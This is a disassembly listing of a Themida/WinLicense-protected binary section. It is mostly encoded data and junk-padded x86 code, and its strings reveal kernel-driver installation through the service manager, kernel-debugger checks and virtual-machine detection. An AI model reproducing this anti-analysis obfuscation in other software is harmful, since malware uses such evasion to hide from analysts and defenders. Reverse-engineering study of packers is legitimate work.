		dd 0FC006A5Ch, 0DDE2C968h, 8E835h, 61770000h, 0F903AE1Ch
		dd 815E11DBh, 0E2492434h, 10E935DDh, 97000000h,	43A4C8BDh
		dd 2CCA8884h, 3E922C07h, 6A6EE40Ch, 6A006A03h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 7032C357h, 0F08B036Ah, 0D9BDA368h, 665360A0h, 615FF98Bh
		dd 5D240481h, 0BA1F2642h, 12F741E7h, 0AA629D8Dh, 9EB20616h
		dd 19870F93h, 0E8000000h, 0Fh, 796646C1h, 9D822777h, 0D6715B58h
		dd 667012DFh, 5FEB1ABEh, 0D95EBE50h, 23932D8Fh,	140839BDh
		dd 40D0FF06h, 1B0850Fh,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 23DE81C3h, 622899B5h
		dd 0A1BEAED4h, 587F39D4h, 2E5958Bh, 60500614h, 50F28B66h
		dd 0EC2DB852h, 310F785Eh, 5AF28B66h, 4896158h, 11E924h
		dd 512C0000h, 0E181674Dh, 7D888DD0h, 0DE02646Ah, 6A84EEFEh
		dd 12E900h, 0F8F70000h,	0B34FC513h, 0D4F9F24Ch,	93A8CE3Fh
		dd 0A2D3F9CBh, 0E2B52D68h, 0AE86022h, 14000000h, 0EA8E3936h
		dd 0FEAB0E26h, 0CFB3BF11h, 0F5A0186h, 389h, 0CA8B6600h
		dd 24348161h, 22E2B5ADh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 26C35343h, 0B9A0C34h,	8E35E808h, 91F18166h
		dd 9036A1Ah, 1425CDBDh,	6A006A06h, 2D958B03h, 8B061408h
		dd 1404858Dh, 0AEAB6806h, 5250ACEDh, 0F62143BAh, 0F310F63h
		dd 48Fh, 99BE6600h, 81585AF8h, 0AEAB2434h, 6A6CEDh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0AFE59FC3h, 0BF0FEB8Ah, 6D9D8DCBh, 890616AAh, 140679B5h
		dd 0F539306h, 198Bh, 14E900h, 20B80000h, 0DD983E86h, 6261455Fh
		dd 52A83713h, 46E1DF7Bh, 505A7486h, 0B6C68B60h,	0FF9361E9h
		dd 0BA6653D0h, 405E7341h, 44850Fh, 10E90000h, 0F8000000h
		dd 0B372F737h, 54E26B01h, 0CADD65DCh, 8BC5F36Fh, 140385BDh
		dd 8D295806h, 6141BC5h,	145E9h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0D88BB1D5h
		dd 31E1B50Bh, 4BF80614h, 11E9h,	6AB61600h, 804340EFh, 2C0EA1BEh
		dd 0F951C0CBh, 0F58B129h, 85C6CFB7h, 6141A59h, 53006A43h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 958BFD81h, 6142FB9h,	0D210E3BEh, 898D2B4Bh, 6806142Eh
		dd 0BFDA3AFEh, 3860Fh, 8B660000h, 243481F3h, 7FAC7059h
		dd 6E8F5h, 2C270000h, 4B59F1B2h, 5E85DF81h, 0FF5E3D39h
		dd 141145B5h, 0D6EA8106h, 97E97CCh, 14306DB5h, 13858D06h
		dd 6A06143Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0C2EDC351h, 56F36A82h,	0A2491C4Ah
		dd 19BD8589h, 0D0FF0614h, 8B50EE8Ah, 241C89F9h,	35958B60h
		dd 66061422h, 617B5CB9h, 0BD8BD0FFh, 614211Dh, 70F09D8Dh
		dd 85890614h, 6142249h,	12E9h, 0C225BA00h, 0DC4FA80Ah
		dd 7D3D5CD6h, 0FC786CCDh, 0B84D88FDh, 1, 6C56EE81h, 0E3FF0F62h
		dd 0CE853h, 70550000h, 39F28C3Ah, 3AA8EF82h, 59514F94h
		dd 0C18B5F59h, 0AD8D8960h, 60061402h, 8C0Fh, 9D890000h
		dd 6140619h, 0C08B6161h, 8830Fh, 89510000h, 1412BD8Dh
		dd 0BD835A06h, 61430B1h, 83097500h, 141AE1BDh, 19740006h
		dd 0C08B5350h, 40FB8h, 0C1858900h, 8D061430h, 16B7A19Dh
		dd 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h, 40FB8h, 0C1858900h
		dd 8D061430h, 16B4429Dh, 5BD3FF06h, 0FDBD2958h,	8B061419h
		dd 8E8C0h, 42380000h, 0F51FB5D1h, 8C0F9C65h, 6,	2E8D9D8Bh
		dd 0E9580614h, 5, 0E68748BFh, 37C0811Eh, 8B00006Eh, 1B6F68D9h
		dd 8B660000h, 8B665FDFh, 81108BCFh, 0F768B4F2h,	0DF8B6605h
		dd 8550EA81h, 7B15FCCh,	1E37C281h, 0B58B4896h, 61416A5h
		dd 0B5891089h, 6140541h, 0F03E883h, 680h, 0EDB50900h, 48061423h
		dd 3C59D8Bh, 0EF830614h, 0BA850F01h, 3FFFFFFh, 1425959Dh
		dd 0AAE906h, 6F530000h,	61777466h, 575C6572h, 694C6E69h
		dd 736E6563h, 68430065h, 496B6365h, 7058004Eh, 45746F72h
		dd 746978h, 63656843h, 54554F6Bh, 6E695700h, 6563694Ch
		dd 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h
		dd 69724465h, 56726576h, 69737265h, 57006E6Fh, 694C6E69h
		dd 736E6563h, 736E4965h, 636E6174h, 78450065h, 6B4F7469h
		dd 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h
		dd 4F746978h, 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 5D858900h, 8D0616B2h
		dd 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h, 616B269h
		dd 0B5FF196Ah, 616B25Dh, 6A016Ah, 0B1F2858Dh, 0FF500616h
		dd 16B259B5h, 8D95FF06h, 0FF06141Ah, 16B259B5h,	6595FF06h
		dd 0FF0616B2h, 16B259B5h, 0F595FF06h, 0C306141Ch, 0B25D8589h
		dd 858D0616h, 616B259h,	0C3858D50h, 500616B1h, 168h, 6995FF80h
		dd 6A0616B2h, 5D858D04h, 500616B2h, 6A046Ah, 0B21C858Dh
		dd 0FF500616h, 16B259B5h, 8D95FF06h, 0FF06141Ah, 16B259B5h
		dd 6595FF06h, 0FF0616B2h, 16B259B5h, 0F595FF06h, 0C306141Ch
		dd 0B25D8589h, 858D0616h, 616B259h, 0C3858D50h,	500616B1h
		dd 168h, 6995FF80h, 6A0616B2h, 5D858D04h, 500616B2h, 6A046Ah
		dd 0B204858Dh, 0FF500616h, 16B259B5h, 8D95FF06h, 0FF06141Ah
		dd 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h,	0F595FF06h
		dd 0C306141Ch, 0B25D8589h, 858D0616h, 616B259h,	0C3858D50h
		dd 500616B1h, 168h, 6995FF80h, 6A0616B2h, 5D858D04h, 500616B2h
		dd 6A046Ah, 0B22F858Dh,	0FF500616h, 16B259B5h, 8D95FF06h
		dd 0FF06141Ah, 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h
		dd 0F595FF06h, 0C306141Ch, 0B25D8589h, 858D0616h, 616B259h
		dd 0C3858D50h, 500616B1h, 168h,	6995FF80h, 6A0616B2h, 5D858D04h
		dd 500616B2h, 6A046Ah, 0B1DF858Dh, 0FF500616h, 16B259B5h
		dd 8D95FF06h, 0FF06141Ah, 16B259B5h, 6595FF06h,	0FF0616B2h
		dd 16B259B5h, 0F595FF06h, 0C306141Ch, 34F1BD83h, 0F000614h
		dd 0B84h, 0F19D8B00h, 83061434h, 3894CC3h, 0F1BD83C3h
		dd 61434h, 0B840Fh, 9D8B0000h, 61434F1h, 8950C383h, 0BD83C303h
		dd 61434F1h, 0B840F00h,	8B000000h, 1434F19Dh, 54C38306h
		dd 83C30389h, 1434F1BDh, 840F0006h, 0Bh, 34F19D8Bh, 0C3830614h
		dd 0C3038958h, 34F1BD83h, 0F000614h, 0B84h, 0F19D8B00h
		dd 83061434h, 3895CC3h,	8960C3C3h, 16B25D85h, 59858D06h
		dd 500616B2h, 0B1C3858Dh, 68500616h, 80000001h,	0B26995FFh
		dd 46A0616h, 0B25D858Dh, 6A500616h, 8D006A04h, 16B25485h
		dd 0B5FF5006h, 616B259h, 1A8D95FFh, 0BD830614h,	61430B1h
		dd 0C840F00h, 0FF000000h, 16B259B5h, 6595FF06h,	0FF0616B2h
		dd 16B259B5h, 0F595FF06h, 6106141Ch, 858960C3h,	616B25Dh
		dd 0B259858Dh, 8D500616h, 16B1C385h, 1685006h, 0FF800000h
		dd 16B26995h, 8D046A06h, 16B25D85h, 46A5006h, 858D006Ah
		dd 616B236h, 59B5FF50h,	0FF0616B2h, 141A8D95h, 0B1BD8306h
		dd 61430h, 0C840Fh, 0B5FF0000h,	616B259h, 0B26595FFh, 0B5FF0616h
		dd 616B259h, 1CF595FFh,	0C3610614h, 5D858960h, 8D0616B2h
		dd 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h, 616B269h
		dd 858D046Ah, 616B25Dh,	6A046A50h, 3D858D00h, 500616B2h
		dd 0B259B5FFh, 95FF0616h, 6141A8Dh, 30B1BD83h, 0F000614h
		dd 0C84h, 59B5FF00h, 0FF0616B2h, 16B26595h, 59B5FF06h
		dd 0FF0616B2h, 141CF595h, 60C36106h, 0B25D8589h, 858D0616h
		dd 616B259h, 0C3858D50h, 500616B1h, 168h, 6995FF80h, 6A0616B2h
		dd 5D858D04h, 500616B2h, 6A046Ah, 0B245858Dh, 0FF500616h
		dd 16B259B5h, 8D95FF06h, 8306141Ah, 1430B1BDh, 840F0006h
		dd 0Ch,	0B259B5FFh, 95FF0616h, 616B265h, 0B259B5FFh, 95FF0616h
		dd 6141CF5h, 8960C361h,	16B25D85h, 59858D06h, 500616B2h
		dd 0B1C3858Dh, 68500616h, 80000001h, 0B26995FFh, 46A0616h
		dd 0B25D858Dh, 6A500616h, 8D006A04h, 16B24C85h,	0B5FF5006h
		dd 616B259h, 1A8D95FFh,	0BD830614h, 61430B1h, 0C840F00h
		dd 0FF000000h, 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h
		dd 0F595FF06h, 6106141Ch, 85C760C3h, 616B25Dh, 1, 0B259858Dh
		dd 8D500616h, 16B1C385h, 2685006h, 0FF800000h, 16B26995h
		dd 0FC00B06h, 0F84h, 5D85C700h,	616B2h,	0E9000000h, 4Dh
		dd 858D046Ah, 616B25Dh,	6A046A50h, 0D7858D00h, 500616B1h
		dd 0B259B5FFh, 95FF0616h, 6141A8Dh, 840FC00Bh, 0Fh, 0B25D85C7h
		dd 616h, 0AE90000h, 0C7000000h,	16B25D85h, 106h, 59B5FF00h
		dd 0FF0616B2h, 141CF595h, 858B6106h, 616B25Dh, 858960C3h
		dd 616B25Dh, 0B259858Dh, 8D500616h, 16B1C385h, 1685006h
		dd 0FF800000h, 16B26995h, 8D046A06h, 16B25D85h,	46A5006h
		dd 858D006Ah, 616B1D7h,	59B5FF50h, 0FF0616B2h, 141A8D95h
		dd 0B1BD8306h, 61430h, 0C840Fh,	0B5FF0000h, 616B259h, 0B26595FFh
		dd 0B5FF0616h, 616B259h, 1CF595FFh, 0C3610614h,	5D858960h
		dd 8D0616B2h, 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h
		dd 616B269h, 858D046Ah,	616B25Dh, 6A046A50h, 0E9858D00h
		dd 500616B1h, 0B259B5FFh, 95FF0616h, 6141A8Dh, 30B1BD83h
		dd 0F000614h, 0C84h, 59B5FF00h,	0FF0616B2h, 16B26595h
		dd 59B5FF06h, 0FF0616B2h, 141CF595h, 0C6C36106h, 141A5985h
		dd 7685206h, 0FFADE47Bh, 143481B5h, 1195FF06h, 89061423h
		dd 16B26985h, 5985C606h, 5206141Ah, 2E00E568h, 81B5FF90h
		dd 0FF061434h, 14231195h, 65858906h, 0C60616B2h, 141A5985h
		dd 35685206h, 0FFB9BF12h, 143481B5h, 1195FF06h,	89061423h
		dd 141A8D85h, 5985C606h, 5206141Ah, 78103468h, 81B5FF98h
		dd 0FF061434h, 14231195h, 0F5858906h, 0C606141Ch, 141A5985h
		dd 0D4685206h, 0FFC005DBh, 143481B5h, 1195FF06h, 89061423h
		dd 1402ED85h, 99E906h, 622F0000h, 68636775h, 326B6365h
		dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h
		dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h
		dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh
		dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h
		dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch
		dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h
		dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 16B923BDh
		dd 840F0006h, 0Ah, 1AE185C7h, 10614h, 85C60000h, 6141A59h
		dd 4E847h, 6C8D0000h, 8B50906Dh, 8B042444h, 24448900h
		dd 0B5FF5804h, 6141145h, 3B13858Dh, 0D0FF0614h,	0F88BD0FFh
		dd 0F223F80h, 2285h, 22B04700h,	0F9850FAEh, 80FFFFFFh
		dd 840F003Fh, 31Eh, 3F8047h, 314840Fh, 1EE90000h, 80000000h
		dd 840F003Fh, 306h, 0F203F80h, 685h, 6E94700h, 47000000h
		dd 0FFFFE2E9h, 3F80FFh,	5850Fh,	0E3E90000h, 0E9000002h
		dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh,	5850F00h, 0E9000000h
		dd 2C6h, 0AE8h,	0FFCBE900h, 0B7E9FFFFh,	8D000002h, 16B8A3B5h
		dd 225E806h, 0BD030000h, 616B938h, 0B938BD83h, 0F000616h
		dd 0B84h, 0B185C700h, 1061430h,	0C3000000h, 0B8AEB58Dh
		dd 0FCE80616h, 3000001h, 16B938BDh, 38BD8306h, 616B9h
		dd 0B840Fh, 85C70000h, 6141AE1h, 1, 27B58DC3h, 0E80616B9h
		dd 1D3h, 0B938BD03h
		dd 0BD830616h, 616B938h, 0B840F00h, 0C7000000h,	14035985h
		dd 106h, 0B58DC300h, 616B8B8h, 1AAE8h, 38BD0300h, 830616B9h
		dd 16B938BDh, 840F0006h, 0Bh, 1AE185C7h, 10614h, 8DC30000h
		dd 16B8C2B5h, 181E806h,	0BD030000h, 616B938h, 0B938BD83h
		dd 0F000616h, 1584h, 0E185C700h, 106141Ah, 0C7000000h
		dd 1430B185h, 106h, 0B58DC300h,	616B8D0h, 14EE8h, 38BD0300h
		dd 830616B9h, 16B938BDh, 840F0006h, 0Ah, 0D0985C7h, 10614h
		dd 0B58D0000h, 616B8DAh, 126E8h, 38BD0300h, 830616B9h
		dd 16B938BDh, 840F0006h, 0Ah, 0D0985C7h, 10614h, 0B58D0000h
		dd 616B8E5h, 0FEE8h, 38BD0300h,	830616B9h, 16B938BDh, 840F0006h
		dd 0Ah,	65D85C7h, 10614h, 0B58D0000h, 616B8EBh,	0D6E8h
		dd 38BD0300h, 830616B9h, 16B938BDh, 840F0006h, 0Ah, 2E7185C7h
		dd 10614h, 0B58D0000h, 616B8F1h, 0AEE8h, 38BD0300h, 830616B9h
		dd 16B938BDh, 840F0006h, 0Ah, 0CAD85C7h, 10614h, 0B58D0000h
		dd 616B8FFh, 86E8h, 38BD0300h, 830616B9h, 16B938BDh, 840F0006h
		dd 0Ah,	211985C7h, 10614h, 0B58D0000h, 616B90Ch, 5EE8h
		dd 38BD0300h, 830616B9h, 16B938BDh, 840F0006h, 0Ah, 0B0585C7h
		dd 10614h, 0B58D0000h, 616B917h, 36E8h,	38BD0300h, 830616B9h
		dd 16B938BDh, 840F0006h, 0Ah, 1CA185C7h, 10614h, 1E90000h
		dd 47000000h, 0F203F80h, 984h, 3F8000h,	0FFED850Fh, 60C3FFFFh
		dd 1B9h, 0E9DE8B00h, 1Fh, 0F003F80h, 585h, 0B900h, 178A0000h
		dd 840F1638h, 5, 0B9h, 80474600h, 840F003Eh, 8,	850FC90Bh
		dd 0FFFFFFD0h, 840FC90Bh, 21h, 0F003F80h, 984h,	203F8000h
		dd 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h, 0FC90B00h, 0D84h
		dd 89F32B00h, 16B938B5h, 0AE906h, 85C70000h, 616B938h
		dd 0
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		dw 0B8h
		dd 0B000000h, 0A840FC0h, 0C7000000h, 140D0985h,	6, 0E8C88B00h
		dd 13h,	0F8523FC8h, 0F7460024h,	8F13BA3Bh, 0AA7FE1B6h
		dd 60C25946h, 0F60C88Bh, 8Ch, 0FA72BA00h, 61617E9Dh, 0E1D6815Bh
		dd 8121858Dh, 662FC3h, 0FBF3BF00h, 0BA7B43h, 80000000h
		dd 0C8B04CCh, 81C68B13h, 3820D6C1h, 29858B7Fh, 81061409h
		dd 3A16EDF1h, 0A98D0908h, 8106142Ah, 0C143A3F1h, 0BD9D8949h
		dd 51061423h, 34CDBD2Bh, 48F0614h, 3D9D0913h, 60061403h
		dd 0FE9h, 570F3100h, 0AEFCF3F8h, 78850523h, 814748FFh
		dd 5C88166h, 0EA816181h, 44EE93A1h, 30618D89h, 0C2810614h
		dd 44EE939Dh, 9E9h, 9DF9ED00h, 0CD04C81Dh, 0FA81A38Dh
		dd 0FFFF9AB4h, 16850Fh,	0C18A0000h, 22E9h, 621D7F00h, 0AB070137h
		dd 0F86E0861h, 115ABAD0h, 28F0Fh, 0C18B0000h, 0FFFF5DE9h
		dd 5680EBFFh, 0E9278D89h, 20Eh,	6E614333h, 20746F6Eh, 74697277h
		dd 726F2065h, 736E6165h, 6478762Eh, 614D0D0Ah, 7320656Bh
		dd 20657275h, 74616874h, 69687420h, 69662073h, 6920656Ch
		dd 6F6E2073h, 65622074h, 20676E69h, 64657375h, 20796220h
		dd 746F6E61h, 20726568h, 676F7270h, 2E6D6172h, 68h dup(0)
		dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 141A5985h, 86684706h, 0FFE3E45Bh
		dd 141145B5h, 13858D06h, 0FF06143Bh, 10468D0h, 9D8D0000h
		dd 61411A9h, 50D0FF53h,	0BFBDB58Dh, 0FE8B0616h,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 1A5985C6h
		dd 68430614h, 0BC8E6EFCh, 1145B5FFh, 858D0614h,	6143B13h
		dd 0B58DD0FFh, 61411A9h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 141A5985h, 56685706h
		dd 0FFA69BEEh, 141145B5h, 13858D06h, 0FF06143Bh, 0C5BD8DD0h
		dd 8D06141Ch, 16C0E38Dh, 57006A06h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 0C5B58D00h, 8D0616BDh, 16A99A85h
		dd 8DD0FF06h, 1470F08Dh, 0B806h, 0E1FF0000h, 1A5985C6h
		dd 68430614h, 0C0764AA7h, 1145B5FFh, 858D0614h,	6143B13h
		dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_574CBD
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_574CBD:				; CODE XREF: Themida_:00574CB6j
		jmp	loc_578492
; ---------------------------------------------------------------------------
		dw 5A4Dh
		db 90h
		align 2
		dw 3
		dd 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 736h dup(0)
		db 0
byte_5779ED	db 3 dup(0)		; DATA XREF: Themida_:0054BA68o
					; Themida_:0054BD14o
		dd 28Ch	dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_578492:				; CODE XREF: Themida_:loc_574CBDj
		jmp	loc_57954E
; ---------------------------------------------------------------------------
		db 41h
		dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h
		dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h
		dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh
		dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h
		dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h
		dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h
dword_5794A8	dd 94h,	5, 1, 0A28h, 2,	21h dup(0) ; DATA XREF:	Themida_:00549210o
					; Themida_:0054AC28o
		dd 74666F53h, 65726177h, 6E69575Ch
		db 65h,	0
; ---------------------------------------------------------------------------


loc_57954E:				; CODE XREF: Themida_:loc_578492j
		mov	eax, esp
		jmp	loc_57955D
; ---------------------------------------------------------------------------
		db 5Bh,	92h, 63h
		dd 707262E6h
; ---------------------------------------------------------------------------
		push	ecx


loc_57955D:				; CODE XREF: Themida_:00579550j
		push	ecx
		mov	ecx, 31450287h
		pop	ecx
		mov	[ebp+6142189h],	eax
		mov	edi, [ebp+614226Dh]
		mov	eax, eax
		sbb	cl, 4Ah
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_579587
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_5795A0


loc_579587:				; CODE XREF: Themida_:0057957Cj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B73Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_5795A0:				; CODE XREF: Themida_:00579585j
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_5795C0
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B429h]
		call	ebx
		pop	ebx
		pop	eax


loc_5795C0:				; CODE XREF: Themida_:005795A7j
		mov	di, si
		mov	edx, [ebp+6140EF5h]
		mov	eax, eax
		jmp	loc_5795DB
; ---------------------------------------------------------------------------
		mov	esp, 11F3FB98h
		and	ds:0A076A1Eh, ecx


loc_5795DB:				; CODE XREF: Themida_:005795CBj
		mov	eax, eax
		push	0
		push	ecx
		call	sub_5795E8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5795E8	proc near		; CODE XREF: Themida_:005795E0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5795E8	endp

; ---------------------------------------------------------------------------
		dd 83CF8B7Fh, 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 616B5DCh, 585BD3FFh, 1AE1BD83h
		dd 74000614h, 0B8535011h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+616B48Dh]
		call	ebx
